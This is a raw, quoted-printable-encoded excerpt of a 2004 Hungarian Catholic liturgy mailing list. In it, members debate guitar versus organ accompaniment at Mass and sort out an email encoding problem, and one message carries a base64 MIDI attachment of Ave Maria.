volt = templomot-bet=F6lt=F6 szerepe. Ez az ig=E9ny csak a barokkban = kezd=F6d=F6tt. A(z igazi) m=FCv=E9sz nem feledkezik bele a j=E1t=E9k=E1ba, mert az = m=E1r nem m=FCv=E9szi. Ha egy git=E1ros belefeledkezik a j=E1t=E9k=E1ba, = az ugyan=FAgy zavar=F3, mint amikor az orgonista teszi ugyanezt. Ha egy = git=E1rm=FCv=E9sz j=E1tszik, az (norm=E1lis esetben) nem hasonl=EDt egy = rockkoncertre. Egy=E9bk=E9nt nekem - ami=F3ta (nagyon j=F3!) = feldolgoz=E1sokr=F3l tudok - nincs kifog=E1som annyira a git=E1ros = =E9nekekkel szemben.=20 Itt B=E9csben egy nem kevesebb, mint Peter Planyavsky =EDrt = feldolgoz=E1sokat, amelyek nemcsak hogy =E9lvezhet=F6k, hanem = m=FCv=E9szileg is magas sz=EDnvonalt k=E9pviselnek! Javaslom azoknak, = akik "egy kicsit t=F6bbet" szeretn=E9nek tudni a git=E1ros =E9nekek = gazdag zenei =E9s ritmusbeli rejtelmeir=F6l! Teljesen egyet =E9rtek Bednarik Anaszt=E1zi=E1val, k=FCl=F6n=F6sen, ami = a t=F6bb =E9ves zongora- =E9s orgonatanulm=E1nyokat illeti. A Szent = vagy, Uram! pedig val=F3ban nem olyan k=F6nny=FC, mint ahogy = "hangzik"... Ennek ellen=E9re musz=E1j volna az =E9nekek 99 %-=E1t =FAj = k=EDs=E9rettel ell=E1tni. Nemcsak az=E9rt, hogy az =E9nekek temp=F3, = karakter, st=EDlus stb. tekintet=E9ben helyes v=E1g=E1nyra jussanak, = hanem az=E9rt is, hogy v=E9gre orgonist=E1k =E9s nem orgonist=E1k = elszokjanak a 70 =E9ve egyfajta k=EDs=E9rett=F6l. Tisztelettel, Kov=E1cs R=F3bert ------=_NextPart_000_0017_01C40510.3DEBDDA0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Kedves Decsi B=E1lint,
 
csak korrig=E1lni = szeretn=E9k n=E9h=E1ny nem=20 eg=E9szen val=F3s megfogalmaz=E1st:
Mozart zen=E9je, amit templomi = el=F6ad=E1sra kompon=E1lt,=20 nem sz=E1m=EDtott k=F6nny=FCzen=E9nek, =E9s nem volt a templomb=F3l = kitiltva. Ha valami m=FCv=E9t=20 nem j=E1tszott=E1k, az politikai okokb=F3l t=F6rt=E9nt, illetve = szem=E9lyes ellent=E9tek=20 miatt.
A m=E1sik pedig, hogy a k=F6z=E9pkorban = az orgon=E1nak nem=20 volt templomot-bet=F6lt=F6 szerepe. Ez az ig=E9ny csak a=20 barokkban kezd=F6d=F6tt.
 
A(z igazi) m=FCv=E9sz nem feledkezik = bele a j=E1t=E9k=E1ba,=20 mert az m=E1r nem m=FCv=E9szi. Ha egy git=E1ros belefeledkezik a = j=E1t=E9k=E1ba, az ugyan=FAgy=20 zavar=F3, mint amikor az orgonista teszi ugyanezt. Ha egy = git=E1rm=FCv=E9sz j=E1tszik, az=20 (norm=E1lis esetben) nem hasonl=EDt egy rockkoncertre. = Egy=E9bk=E9nt nekem=20 - ami=F3ta (nagyon j=F3!) feldolgoz=E1sokr=F3l tudok - nincs = kifog=E1som annyira a=20 git=E1ros =E9nekekkel szemben.
Itt B=E9csben egy nem kevesebb, mint = Peter Planyavsky=20 =EDrt feldolgoz=E1sokat, amelyek nemcsak hogy =E9lvezhet=F6k, hanem = m=FCv=E9szileg is magas=20 sz=EDnvonalt k=E9pviselnek! Javaslom azoknak, akik "egy kicsit t=F6bbet" = szeretn=E9nek=20 tudni a git=E1ros =E9nekek gazdag zenei =E9s ritmusbeli = rejtelmeir=F6l!
Teljesen egyet =E9rtek Bednarik = Anaszt=E1zi=E1val,=20 k=FCl=F6n=F6sen, ami a t=F6bb =E9ves zongora- =E9s orgonatanulm=E1nyokat = illeti. A Szent vagy,=20 Uram! pedig val=F3ban nem olyan k=F6nny=FC, mint ahogy "hangzik"... = Ennek ellen=E9re=20 musz=E1j volna az =E9nekek 99 %-=E1t =FAj k=EDs=E9rettel ell=E1tni. = Nemcsak az=E9rt, hogy az=20 =E9nekek temp=F3, karakter, st=EDlus stb. tekintet=E9ben helyes = v=E1g=E1nyra jussanak, hanem=20 az=E9rt is, hogy v=E9gre orgonist=E1k =E9s nem orgonist=E1k elszokjanak = a 70=20 =E9ve egyfajta k=EDs=E9rett=F6l.
 
Tisztelettel,
Kov=E1cs = R=F3bert
------=_NextPart_000_0017_01C40510.3DEBDDA0-- From megego@freemail.hu Mon Mar 8 13:02:24 2004 From: megego@freemail.hu (=?ISO-8859-2?Q?Geg=F5_I=2E_Julianus?=) Date: Mon, 8 Mar 2004 14:02:24 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?Re=3A_sz=EDnev=E1lt?= Message-ID: Szilvay Gyula írta: > > a felhőből szózat hallatszott: "Ez az én választott Fiam, őt > hallgassátok" > > (Lk 9,35). Az Atya szava Krisztusra mutat, aki az ő jóságának képmása - > > "Őt hallgassátok!" > > Kedves Julianus ! > Leveled így érkezett el hozzám. Kedves Gyula! Köszönöm a visszajelzést! A visszaküldött levélrészlet nálam normálisan jelenik meg. Valószínűleg különböző kódolási rendszerben dolgozunk (ehhez annyira nem értek). Füzes Ádám is visszajelzett, hogy nála sem jelent meg jól a szöveg. A cikket Word 97-ben írtam meg, onnan másoltam be a levélbe. Most elküldök ugyanazt a szövegrészt amit másként mentettem *.txt formátumba, s kérek egy visszajelzést, hogy ez így jól működik-e... s a felhőből szózat hallatszott: Ez az én választott Fiam, őt hallgassátok (Lk 9,35). Az Atya szava Krisztusra mutat, aki az ő jóságának képmása - Őt hallgassátok! Köszönettel: fr. Julianus From Horváth József" --------------Boundary-00=_C7I9GSK2QL8000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_C7I9B2O2QL8000000000" --------------Boundary-00=_C7I9B2O2QL8000000000 Content-Type: Text/Plain; charset="windows-1250" Content-Transfer-Encoding: quoted-printable -------Original-Nachricht-------=0D =0D Von: Bednarik_Anasztazia@level.datanet.hu=0D Datum: 2004. m=E1rcius 4. 19:36:15=0D An: liturgia@katolikus.hu=0D Betreff: [Liturgia] nagyb=F6jt=0D =0D Kedves Bernarik Anaszt=E1zia =E9s mindenki, aki e sorokat olvassa.=0D Level=E9b=F5l mind=F6ssze az al=E1bbi n=E9h=E1ny sort v=E1gtam ki, kiemel= ve azt egyetlen mondanival=F3t, amivel kapcsolatban elmondok n=E9h=E1ny gondolatot.:=0D "...A git=E1ros mis=E9kr=F5l Kov=E1cs Ervin sz=EDvemb=F5l sz=F3lt. Azt sz= oktam mondani: mi k=FCl=F6nb=F6zteti meg a git=E1ros =E9nekeket egy vil=E1gi egy=FCttes sz=E1= mait=F3l? Semmi! Mert ha mondjuk angolul =E9nekeln=E9nek, akkor a zen=E9j=E9b=F5l bizony n= em der=FClne ki hogy nem vulg=E1ris, net=E1n =E9rz=E9kis=E9get sugall=F3 dalr=F3l van s= z=F3, azaz a zene prof=E1n. (Term=E9szetesen ezzel nem azt mondtam, hogy a n=E9p=E9nekek t=F6= k=E9letes sz=F6veg=FBek =E9s dallam=FAak! Ez azonban k=FCl=F6n t=E9ma lenne.Mindenk= inek sz=E9p,csendes nagyb=F6jt=F6t k=EDv=E1nok! Bednarik Anaszt=E1zia"=0D Nos mondani val=F3m a k=F6vetkez=F5. A liturgi=E1val kapcsolatos =E9nekek= megit=E9l=E9se alaphelyzetben nem azon m=FAlik, hogy git=E1ros vagy hagyom=E1nyos. Els=F5= sorban az a fontos, hogy akik =E9neklik hit=FCkb=F5l fakad=F3an, az Isten ir=E1nti = szeretet megnyilv=E1nul=E1sak=E9ppen teszik-e? R=E9szese voltam orgon=E1s =E9s git= =E1rprodukci=F3knak amelyek jobb lett volna, ha el sem hangzanak, de r=E9szt vettem git=E1ro= s =E9s orgon=E1s liturgi=E1kon, ahol =E9rezhet=F5en bet=F6lt=F6tte a templomot a= z =E1hitat Halottam csapnival=F3an rossz orgonoamuzsik=E1t =E9s ugyancsak csapnival=F3= an rossz git=E1ros muzsik=E1t, de halottam olyat is mind a kett=F5b=F5l, amelyet =E1= h=EDtattal =E9s megfelel=F5 szakmai szinten m=FBveltek.=0D =C9rdemes v=E9gig gondolni azt a t=E9nyt, hogy ifj=FAs=E1gunkat el=F5sz=F6= r tal=E1n a 80-as =E9vek elej=E9n tudtuk megsz=F3l=EDtani, akkor m=E9g illeg=E1lis tal=E1lk= oz=F3kon, sokszor z=E1rt ajt=F3k m=F6g=F6tt, ahova bizony nem igen vihett=FCk magunkkal az = orgon=E1t. Meg kellett sz=F3l=EDtani egy gener=E1ci=F3t, amelyik nem n=F5tt bele a n=E9p= =E9nekt=E1rba, a SzvU-, vagy a Hozsanna kin=E1lta =E9nekvil=E1gba. Tal=E1n az=E9rt is mert= idegenkedett annak a dallam =E9s sz=F6vegvil=E1g=E1t=F3l, amit nem tudott saj=E1tj=E1n= ak elfogadni. Ezek az =E9nekek a 16-17 sz=E1zadt=F3l kezdve (tisztelet a kiv=E9telnek)= b=E1natot, kesers=FBg=E9set tartalmaznak. Valamik=E9ppen =F6sszef=FCggnek az akkori = magyar t=E1rsadlmi-politikai helyzettel. Sajnos hi=E1nyzik bel=F5l=FCk az evang=E9= lium =F6r=F6mh=EDr=E9nek l=E9gk=F6re. Fiataljaink egy m=E1s t=F6rt=E9nelmi =E9= s kult=FAr=E1lis k=F6zekben n=F5ttek (=E9s n=F5nek) fel, ahol seg=EDteni kell nekik megtal=E1lni azok= at a sz=F6vegeket =E9s dallamokat, amelyekkel legink=E1bb ki tudj=E1k fejezni = lelk=FCk vall=E1si tartalmait.=0D =C9n ahhoz a gener=E1ci=F3hoz tartozom, amely mindezeket a t=F6rt=E9nelem= folyamat=E1ban is l=E1thatta, tapasztalhatta. De tapasztaltam azt is, hogy a magyar fiat= alok ezrei t=E9rtek meg =E9s er=F5s=EDtett=E9k hit=FCket a most sokak =E1ltal = elit=E9lt git=E1ros muzsik=E1n. Tess=E9k gondolni az ifj=FAs=E1gi vil=E1gtal=E1lkoz=F3kra, am= ikor a Szentatya mis=E9in a fiatalok sz=E1zezrei =E9nekelnek Uram bocs=E1' git=E1ros =E9ne= keket, vagy a taize-i tal=E1lkoz=F3kra, a nagymarosi tal=E1lkoz=F3kra =E9s m=E9g sok sz= =E1mos esem=E9nyre. M=E9g egyetlen alkalommal sem sulytott le r=E1juk az Isten haragj=E1nak a= vill=E1ma.=0D =C9n azt tan=E1csolom, semmib=F5l sem csin=E1ljunk nagyobb =FCgyet, mint = amekkora =E9s f=F5leg ne akarjuk ki=F6nteni a f=FCrd=F5vizzel a gyermeket.=0D A magam r=E9sz=E9r=F5l a h=EDres angol konvertita, Chesterton elv=E9t val= lom:=20 katolikus egyh=E1z k=F6t=F5szava nem a vagy-vagy, hanem a nemcsak-hanem-i= s". Nemcsak a hagyom=E1nyos n=E9p=E9nekt=E1r, nemcsak a gregori=E1n, nemcsak = a git=E1r, hanem mindegyik megfelel=F5 helyen =E9s m=F3don. A l=E9nyeg: mindegyik m=FB= v=E9szi szinten (vagyis megfelel=F5 szakmai felk=E9sz=FClts=E9ggel) =E9s kell=F5 = =E1hitattal sz=F3laljon meg.=0D Z=E1rad=E9kul m=E9g egy sz=F3 a paragrafusokhoz, a rubrik=E1khoz val=F3 r= agaszkod=E1sr=F3l. =DCnnepeink alakalm=E1b=F3l, a pr=E9dik=E1ci=F3ra val=F3 k=E9sz=FCletek s= or=E1n =E1t szoktam n=E9zni hogy egy adott liturgikus esem=E9ny honn=E9t indult el, hogyan alakult k= i, amig a mai megjelen=E9si form=E1j=E1t el=E9rte. Azt tapasztalom, hogy az =E9l=F5= liturgia folyamatosan alakul, v=E1ltozik, hiszen a folyamatosan alakul=F3 - v=E1lt= oz=F3 h=EDv=F5nek kell benne megnyilv=E1niulnia. Azt hiszem, hogy bizonyos hat=E1= rokon bel=FBl engedj=FCk fejl=F5dni a liturgi=E1t =E9s ne akarjuk leb=E9n=EDtan= i azt. A II. Vatik=E1ni Zsinat liturgikus reformja az er=F5teljes n=E9met nyelvter=FCl= eti liturgikus reformmozgalom kezdem=E9nyez=E9seib=F5l n=F5tt ki, amikor is m= eglehet=F5sen kem=E9nyen d=F6ngett=E9k a szab=E1lyokat. Azt gondolom, hogy vannak, amih= ez nem szabad ny=FAlni (pl. a szentmise, szents=E9gek l=E9nyeges elemei), de nem= l=E1tom =E9rtelm=E9t ahhoz ragaszkodni, amit hagyni k=E9nne kitenni (persze megfe= lel=F5 kontrollal) a fejl=F5d=E9s t=F6rv=E9ny=E9nek. Nekem bors=F3zik a h=E1tam = mindenfajta inkvizici=F3s jelleg=F5 megnyilv=E1nul=E1st=F3l, amikor m=E1gly=E1n akarj= =E1k el=E9getni azokat, akik m=E1sk=E9ppen gondolgoknak, vagy cselekszenek. Isten v=E9gte= len=FCl tiszteli az ember szabads=E1g=E1t, amivel =F5 aj=E1nd=E9kozta meg eszes t= eremtm=E9ny=E9t. Nem j=F3, ha Istent ezen vontakoz=E1sban =FCberelni akarjuk.=0D =DAgy gondolom, hogy sz=FBkl=E1t=F3k=F6r=FCs=E9gre =E9s a kreativit=E1s h= i=E1ny=E1ra vall, ha nem l=E1tunk tov=E1bb a szab=E1lyokn=E1l, mivel nem az ember van a szab=E1ly=E9= rt, hanem a szab=E1ly van az ember=E9rt. Ebb=F5l az is k=F6vetkezik, ahogy a r=E9gi r= =F3maik mondt=E1k: V=E1ltoznak id=F5k, =E9s benne v=E1ltozunk mi is. Tal=E1n =E9r= demes ezt a liturgia fejl=F5d=E9s=E9re is alkalmazni. =0D Amit le=EDrtam t=F6bb =E9vtizedes lelkip=E1sztori =E9s ifj=FAs=E1gi munka= nyom=E1n alakult ki bennem. Az=E9rt is irom a nevem al=E1 jelenlegi feladatk=F6reimet.=0D Tisztelettel minden olvas=F3nak=0D Horv=E1th J=F3zsef=0D a Martineum Feln=F5ttk=E9pz=F5 Akad=E9mia igazgat=F3ja, Szombathelyi Egyh= =E1zmegyei ifj=FAs=E1gi referense, a Nyugat-magyarorsz=E1gi Katolikus Ifj=FAs=E1gi R= =E9gi=F3 (ide tartozik a szombathelyi, a gy=F5ri, a veszpr=E9mi egyh=E1zmegy=E9k, valam= int a Pannonhalmi Ter=FCleti Ap=E1ts=E1g) vezet=F5je =0D www.martineum.hu=0D =0D =0D =0D =0D =20 --------------Boundary-00=_C7I9B2O2QL8000000000 Content-Type: Text/HTML; charset="windows-1250" Content-Transfer-Encoding: quoted-printable
 -------Original-Nachricht-------
 
Datum: 2004. m=E1r= cius 4. 19:36:15
Betreff: [Liturgia= ] nagyb=F6jt
 
Kedves Bernarik Anaszt=E1zia =E9s mindenki, aki e sor= okat olvassa.
Level=E9b=F5l mind=F6ssze az al=E1bbi n=E9h=E1ny sort= v=E1gtam ki, kiemelve azt egyetlen mondanival=F3t, amivel kapcsolatban e= lmondok n=E9h=E1ny gondolatot.:

"...A git=E1ros mis=E9kr=F5l Kov=E1cs Ervin s= z=EDvemb=F5l sz=F3lt. Azt szoktam mondani: mi k=FCl=F6nb=F6zteti = meg a git=E1ros =E9nekeket egy vil=E1gi egy=FCttes sz=E1mait=F3l? Semmi!<= /STRONG> Mert ha mondjuk angolul =E9nekeln=E9nek, akkor a zen=E9j=E9b=F5l= bizony nem der=FClne ki, hogy nem vulg=E1ris, net=E1n =E9rz=E9kis=E9get = sugall=F3 dalr=F3l  van sz=F3, azaz a zene prof=E1n. (Term=E9szetese= n ezzel nem azt mondtam, hogy a n=E9p=E9nekek t=F6k=E9letes sz=F6veg=FBek= =E9s dallam=FAak! Ez azonban k=FCl=F6n t=E9ma lenne.Mindenkinek sz=E9p,csendes nagyb=F6jt=F6t k=EDv=E1nok! Bednarik Anaszt=E1zia"

Nos mondani val=F3m a k=F6vetkez=F5. A liturg= i=E1val kapcsolatos =E9nekek megit=E9l=E9se alaphelyzetben nem azon m=FAl= ik, hogy git=E1ros vagy hagyom=E1nyos. Els=F5sorban az a fontos, hogy aki= k =E9neklik hit=FCkb=F5l fakad=F3an, az Isten ir=E1nti szeretet megnyilv=E1= nul=E1sak=E9ppen teszik-e? R=E9szese voltam orgon=E1s =E9s git=E1rprodukc= i=F3knak, amelyek jobb lett volna, ha el sem hangzanak, de r=E9szt vettem= git=E1ros =E9s orgon=E1s liturgi=E1kon, ahol =E9rezhet=F5en bet=F6lt=F6t= te a templomot az =E1hitat.Halottam csapnival=F3an r= ossz orgonoamuzsik=E1t =E9s ugyancsak csapnival=F3an rossz git=E1ros muzs= ik=E1t, de halottam olyat is mind a kett=F5b=F5l, amelyet =E1h=EDtattal =E9= s megfelel=F5 szakmai szinten m=FBveltek.

=C9rdemes v=E9gig gondolni azt a t=E9nyt, hog= y ifj=FAs=E1gunkat el=F5sz=F6r tal=E1n a 80-as =E9vek elej=E9n tudtuk meg= sz=F3l=EDtani, akkor m=E9g illeg=E1lis tal=E1lkoz=F3kon, sokszor z=E1rt a= jt=F3k m=F6g=F6tt, ahova bizony nem igen vihett=FCk magunkkal az orgon=E1= t. Meg kellett sz=F3l=EDtani egy gener=E1ci=F3t, amelyik nem n=F5tt bele = a n=E9p=E9nekt=E1rba, a SzvU-, vagy a Hozsanna kin=E1lta =E9nekvil=E1gba.= Tal=E1n az=E9rt is mert idegenkedett annak a dallam =E9s sz=F6vegvil=E1g= =E1t=F3l, amit nem tudott saj=E1tj=E1nak elfogadni. Ezek az =E9nekek a 16= -17 sz=E1zadt=F3l  kezdve (tisztelet a kiv=E9telnek) b=E1natot, kese= rs=FBg=E9set tartalmaznak. Valamik=E9ppen =F6sszef=FCggnek az akkori magy= ar t=E1rsadlmi-politikai helyzettel. Sajnos hi=E1nyzik bel=F5l=FCk az eva= ng=E9lium =F6r=F6mh=EDr=E9nek l=E9gk=F6re. Fiataljaink egy m=E1s t=F6rt=E9= nelmi =E9s kult=FAr=E1lis k=F6zekben n=F5ttek (=E9s n=F5nek) fel, ahol se= g=EDteni kell nekik megtal=E1lni azokat a sz=F6vegeket =E9s dallamokat, a= melyekkel legink=E1bb ki tudj=E1k fejezni lelk=FCk vall=E1si tartalmait.<= /SPAN>

=C9n ahhoz a gener=E1ci=F3hoz tartozom, amely= mindezeket a t=F6rt=E9nelem folyamat=E1ban is l=E1thatta, tapasztalhatta= =2E De tapasztaltam azt is, hogy a magyar fiatalok ezrei t=E9rtek meg =E9= s er=F5s=EDtett=E9k hit=FCket a most sokak =E1ltal elit=E9lt git=E1ros mu= zsik=E1n. Tess=E9k gondolni az ifj=FAs=E1gi vil=E1gtal=E1lkoz=F3kra, amik= or a Szentatya mis=E9in a fiatalok sz=E1zezrei =E9nekelnek Uram bocs=E1' = git=E1ros =E9nekeket, vagy a taize-i tal=E1lkoz=F3kra, a nagymarosi tal=E1= lkoz=F3kra =E9s m=E9g sok sz=E1mos esem=E9nyre. M=E9g egyetlen alkalommal= sem sulytott le r=E1juk az Isten haragj=E1nak a vill=E1ma.=

=C9n azt tan=E1csolom, semmib=F5l sem csin=E1= ljunk nagyobb =FCgyet, mint amekkora =E9s f=F5leg ne akarjuk ki=F6nteni a= f=FCrd=F5vizzel a gyermeket.

A magam r=E9sz=E9r=F5l a h=EDres angol konver= tita, Chesterton elv=E9t vallom: "katolikus egyh=E1z k=F6t=F5szava nem a = vagy-vagy, hanem a nemcsak-hanem-is". Nemcsak a hagyom=E1nyos n=E9p=E9nek= t=E1r, nemcsak a gregori=E1n, nemcsak a git=E1r, hanem mindegyik megfelel= =F5 helyen =E9s m=F3don. A l=E9nyeg: mindegyik m=FBv=E9szi szinten (vagyi= s megfelel=F5 szakmai felk=E9sz=FClts=E9ggel) =E9s kell=F5 =E1hitattal sz= =F3laljon meg.

Z=E1rad=E9kul m=E9g egy sz=F3 a paragrafusokh= oz, a rubrik=E1khoz val=F3 ragaszkod=E1sr=F3l. =DCnnepeink alakalm=E1b=F3= l, a pr=E9dik=E1ci=F3ra val=F3 k=E9sz=FCletek sor=E1n =E1t szoktam n=E9zn= i, hogy egy adott liturgikus esem=E9ny honn=E9t indult el, hogyan alakult= ki, amig a mai megjelen=E9si form=E1j=E1t el=E9rte. Azt tapasztalom, hog= y az =E9l=F5 liturgia folyamatosan alakul, v=E1ltozik, hiszen a foly= amatosan alakul=F3 - v=E1ltoz=F3 h=EDv=F5nek kell benne megnyil= v=E1niulnia. Azt hiszem, hogy bizonyos hat=E1rokon bel=FBl engedj=FCk fej= l=F5dni a liturgi=E1t =E9s ne akarjuk leb=E9n=EDtani azt. A  II= =2E Vatik=E1ni Zsinat liturgikus reformja az er=F5teljes n=E9met nye= lvter=FCleti liturgikus reformmozgalom kezdem=E9nyez=E9seib=F5l n=F5= tt ki, amikor is meglehet=F5sen kem=E9nyen d=F6ngett=E9k a szab=E1lyokat.= Azt gondolom, hogy vannak, amihez nem szabad ny=FAlni (pl. a szentmise, = szents=E9gek l=E9nyeges elemei), de nem l=E1tom =E9rtelm=E9t ahhoz ragasz= kodni, amit hagyni k=E9nne kitenni (persze megfelel=F5 kontrollal) a fejl= =F5d=E9s t=F6rv=E9ny=E9nek. Nekem bors=F3zik a h=E1tam mindenfajta inkviz= ici=F3s jelleg=F5 megnyilv=E1nul=E1st=F3l, amikor m=E1gly=E1n akarj=E1k e= l=E9getni azokat, akik m=E1sk=E9ppen gondolgoknak, vagy cselekszenek. Ist= en v=E9gtelen=FCl tiszteli az ember szabads=E1g=E1t, amivel =F5 aj=E1nd=E9= kozta meg eszes teremtm=E9ny=E9t. Nem j=F3, ha Istent ezen vontakoz=E1sba= n =FCberelni akarjuk.

=DAgy gondolom, hogy sz=FBkl=E1t=F3k=F6r=FCs=E9= gre =E9s a kreativit=E1s hi=E1ny=E1ra vall, ha nem l=E1tunk tov=E1bb a sz= ab=E1lyokn=E1l, mivel nem az ember van a szab=E1ly=E9rt, hanem a szab=E1l= y van az ember=E9rt. Ebb=F5l az is k=F6vetkezik, ahogy a r=E9gi r=F3maik = mondt=E1k: V=E1ltoznak id=F5k, =E9s benne v=E1ltozunk mi is. Ta= l=E1n =E9rdemes ezt a liturgia fejl=F5d=E9s=E9re is alkalmazni. 

Amit le=EDrtam t=F6bb =E9vtizedes lelkip=E1sz= tori =E9s ifj=FAs=E1gi munka nyom=E1n alakult ki bennem. Az=E9rt is irom = a nevem al=E1 jelenlegi feladatk=F6reimet.

Tisztelettel minden olvas=F3nak=

Horv=E1th J=F3zsef

a Martineum Feln=F5ttk=E9pz=F5 Akad=E9mia iga= zgat=F3ja, Szombathelyi Egyh=E1zmegyei ifj=FAs=E1gi referense, a Nyugat-m= agyarorsz=E1gi Katolikus Ifj=FAs=E1gi R=E9gi=F3 (ide tartozik a szom= bathelyi, a gy=F5ri, a veszpr=E9mi egyh=E1zmegy=E9k, valamint a Pann= onhalmi Ter=FCleti Ap=E1ts=E1g) vezet=F5je 

www.mart= ineum.hu

 

 

 

 

 

________________________________________________________= _____________
3D""  IncrediMail - E-Mail hat sich schlie=DFl= ich entfaltet - Klicken Sie hier --------------Boundary-00=_C7I9B2O2QL8000000000-- --------------Boundary-00=_C7I9GSK2QL8000000000 Content-Type: audio/mid; name="ave_maria.mid" Content-Transfer-Encoding: base64 Content-ID: TVRoZAAAAAYAAQAEAeBNVHJrAAAAIgD/WAQEAhgIAP9ZAgAAAP9UBSEAAAAAAP9RAw0R0wD/LwBN VHJrAAABtwD/IAEAAP8DDiBHcmFuZCBQaWFubyAgAP8EDEdNIERldmljZSAgMQDAAACwB3QACkBI B3RQwAAYsApAgjCQRnKMSkVyAEYAgSBFAABGcoEgSnIFRgCMLEhyAEoAgkpGcgBIAIwiRgCCWUhy hgJIAABKcl9IcgBKAIECRnIASACBUkVyAEYAgWFFAApDcoFmQwAFRXKBZkUAD0ZyiTBGAIFwSnKC IkoARkpyWkoAMkpyhUZKAC1Icl9GcgVIAGlGAApFcoIERQAUQ3KCMUMAGUpygRZKAAVMcoEgTAAK SnKHQEoABUlyhBxJAIIdRXKBKkUABUhyhV9IAAVGcoElRgAKRXKBJUhyBUUAgRZKcgpIAIEbS3IF SgCBFkhyCksAgQdIAApFcoEqRQAARnKKI0YAZEpygkBKAChIclpIADdIcoYRSAAPRXKBFkNyCkUA gRZHcgVDAIEbRwAASnKBIEoAAE1ygSBKcgBNAIEMSgAUR3KBFkcACkhyhwRIAIFcQ3KBIEVyD0MA gQxFAAVGcoEvSHIKRgAURnIPSAAyRgAKRXKBDEUAD0NyfUMAFEFyijJBAAD/LwBNVHJrAAADfwD/ IAEBAP8DDiBTbGFwIEJhc3MgMiAgAP8EDEdNIERldmljZSAgMgDBKgCxB11QwSqDEJE+WwCxB10o kT4AeEFbKEEAeEZbKEYAeEpbKEoAeEZbKEYAeEFbKEEAeEBbKEAAeENbKEMAeEZbKEYAeEpbKEoA eEZbKEYAeENbKEMAeD5bKD4AeEFbKEEAeEZbKEYAeEpbKEoAeEZbKEYAeEFbKEEAeD9bKD8AeEFb KEEAeEVbKEUAeEhbKEgAeEVbKEUAeEFbKEEAeD5bKD4AeENbKEMAeEZbKEYAeEpbKEoAeEZbKEYA eENbKEMAeD5bKD4AeENbKEMAeEZbKEYAeEpbKEoAeEZbKEYAeENbKEMAeD9bKD8AeENbKEMAeEZb KEYAeEhbKEgAeEZbKEYAeENbKEMAeD9bKD8AeEFbKEEAeEVbKEUAeEhbKEgAeEVbKEUAeEFbKEEA eD5bKD4AeEFbKEEAeEZbKEYAeEpbKEoAeEZbKEYAeEFbKEEAeD5bKD4AeEFbKEEAeEZbKEYAeEpb KEoAeEZbKEYAeEFbKEEAeD5bKD4AeEJbKEIAeEZbKEYAeEpbKEoAeEZbKEYAeEJbKEIAeD5bKD4A eENbKEMAeEZbKEYAeEpbKEoAeEZbKEYAeENbKEMAeEBbKEAAeENbKEMAeEZbKEYAeElbKEkAeEZb KEYAeENbKEMAeEBbKEAAeENbKEMAeEZbKEYAeElbKEkAeEZbKEYAeENbKEMAeD9bKD8AeEJbKEIA eEVbKEUAeEhbKEgAeEVbKEUAeEJbKEIAeD9bKD8AeEJbKEIAeEVbKEUAeEhbKEgAeEVbKEUAeEJb KEIAeD5bKD4AeENbKEMAeEZbKEYAeEpbKEoAeEZbKEYAeENbKEMAeEBbKEAAeENbKEMAeEZbKEYA eEpbKEoAeEZbKEYAeENbKEMAeDxbKDwAeEFbKEEAeEVbKEUAeEhbKEgAeEVbKEUAeEFbKEEAeD5b KD4AeEFbKEEAeENbKEMAeEdbKEcAeENbKEMAeEFbKEEAeDxbKDwAeEFbKEEAeEVbKEUAeEhbKEgA eEVbKEUAeEFbKEEAeDxbKDwAeEBbKEAAeENbKEMAeEZbKEYAeENbKEMAeEBbKEAAeDxbKDwAeEFb KEEAeEVbKEUAeEhbKEgAeEVbKEUAeEFbKEEAeDxbhQA8AAD/LwBNVHJrAAAKQgD/IAECAP8DDiBT eW4uIFN0cmluZ3MyAP8EDEdNIERldmljZSAgMwDCMwCyWyYAB2QACkBgwjOBcLJbJoEQkkFXAEZX AEpXPEEAAEYAAEoAZD5XAEFXAEZXFLIKQCiSPgAAQQAARgBQsgdkFJI+VwBBVwBGVzw+AABBAABG AGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+ VwBBVwBGVzw+AABBAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBD VwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBGVzxAAABDAABGAGRAVwBDVwBG VzxAAABDAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+ AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABB AABGAGQ/VwBFVwBIVzw/AABFAABIAGQ/VwBFVwBIVzw/AABFAABIAGQ/VwBFVwBIVzw/AABFAABI AGQ/VwBFVwBIVzw/AABFAABIAGQ/VwBFVwBIVzw/AABFAABIAGQ/VwBFVwBIVzw/AABFAABIAGQ+ VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBD VwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBG Vzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBDVwBGVzw+ AABDAABGAGQ+VwBDVwBGVzw+AABDAABGAGQ+VwBGVzw+AABGAGQ/VwBDVwBIVzw/AABDAABIAGQ/ VwBDVwBIVzw/AABDAABIAGQ/VwBDVwBIVzw/AABDAABIAGQ/VwBDVwBIVzw/AABDAABIAGQ/VwBD VwBIVzw/AABDAABIAGQ/VwBDVwBIVzw/AABDAABIAGQ/VwBFVwBIVzw/AABFAABIAGQ/VwBFVwBI Vzw/AABFAABIAGQ/VwBFVwBIVzw/AABFAABIAGQ/VwBFVwBIVzw/AABFAABIAGQ/VwBFVwBIVzw/ AABFAABIAGQ/VwBFVwBIVzw/AABFAABIAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABB AABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABG AGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+VwBBVwBGVzw+AABBAABGAGQ+ 